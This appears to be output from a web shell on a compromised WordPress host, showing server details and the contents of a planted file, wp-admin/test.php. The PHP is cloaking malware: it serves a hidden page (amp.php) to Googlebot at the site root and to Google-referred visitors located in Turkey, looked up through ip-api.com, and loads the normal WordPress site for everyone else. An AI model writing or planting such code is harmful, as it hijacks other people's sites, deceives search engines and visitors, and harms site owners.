HEX
Server: Apache/2.4.54 (Unix) OpenSSL/1.0.2k-fips
System: Linux f17.eelserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User: zulfiqar (1155)
PHP: 8.2.0
Disabled: mail, exec, system, popen, proc_open, shell_exec, passthru, show_source
Upload Files
File: /home/zulfiqar/public_html/wp-admin/test.php
<?php 
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
} else {
    $userAgent = '';
}

if (!empty($_SERVER['HTTP_REFERER'])) {
    $referer = $_SERVER['HTTP_REFERER'];
} else {
    $referer = '';
}

$googleBots = [
    'Googlebot',
    'AdsBot',
    'Mediapartners-Google',
    'APIs-Google',
    'Googlebot-Image',
    'Googlebot-Video',
    'Googlebot-News',
    'Googlebot-Search',
    'Googlebot-Inspect',
    'Googlebot-Android',
    'Googlebot-Mobile',
    'Googlebot-Ads',
    'Googlebot-Discovery',
    'Google-',
];

function isFromTurkey($ip) {
    static $cache = [];
    if (isset($cache[$ip])) {
        return $cache[$ip];
    }
    
    $url = "http://ip-api.com/json/{$ip}?fields=countryCode";
    $response = @file_get_contents($url);
    
    if ($response === false) {
        return false;
    }
    
    $data = json_decode($response, true);
    $isTurkey = (isset($data['countryCode']) && $data['countryCode'] === 'TR');
    $cache[$ip] = $isTurkey;
    return $isTurkey;
}

$visitorIp = $_SERVER['REMOTE_ADDR'];

if (preg_match('/' . implode('|', $googleBots) . '/i', $userAgent)) {
    if ($_SERVER['REQUEST_URI'] == '/') {
        include 'wp-admin/amp.php';
        die();
    }
} elseif (
    !preg_match('/' . implode('|', $googleBots) . '/i', $userAgent) &&
    preg_match('/google\.com/i', $referer) &&
    isFromTurkey($visitorIp)
) {
    
   include 'wp-admin/amp.php';
        die();
}
?>

<?php
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';
?>